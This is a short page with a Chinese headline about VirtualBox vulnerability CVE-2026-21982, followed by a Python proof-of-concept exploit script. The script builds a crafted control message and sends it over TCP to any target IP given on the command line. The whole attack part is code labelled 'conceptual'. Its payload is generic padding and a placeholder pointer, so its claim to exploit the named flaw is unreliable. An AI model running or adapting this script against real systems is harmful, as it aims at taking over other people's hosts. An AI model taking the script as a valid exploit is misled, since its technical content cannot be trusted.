CVE-2026-21982 Oracle VM VirtualBox Core组件高危漏洞可导致系统接管

# CVE-2026-21982 PoC - Oracle VM VirtualBox Core Component Exploit # Note: This is a conceptual proof of concept for research purposes import struct import socket import sys def create_exploit_payload(): """ Create malicious payload for VirtualBox Core component This targets the vulnerability in VM lifecycle management """ # VirtualBox VM control message header header = b'\x7f' + b'\x56' + b'\x42' # VB header signature # Message type - VM operation request msg_type = struct.pack('<I', 0x1001) # VM_CONTROL_MSG # Payload size payload_size = struct.pack('<I', 0x1000) # Malicious payload targeting Core component # This exploits improper input validation in VM configuration handling exploit_data = b'\x41' * 0xFF # Padding exploit_data += struct.pack('<Q', 0x4141414141414141) # Corrupted pointer exploit_data += b'\x00' * (0x1000 - len(exploit_data)) return header + msg_type + payload_size + exploit_data def send_exploit(target_ip, target_port=0x215F): """ Send exploit payload to target VirtualBox instance Requires adjacent network access to the host """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) payload = create_exploit_payload() sock.send(payload) response = sock.recv(1024) print(f"Response received: {len(response)} bytes") sock.close() return True except Exception as e: print(f"Exploit failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21982-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Targeting Oracle VM VirtualBox at {target}") print(f"[*] Exploiting CVE-2026-21982...") send_exploit(target)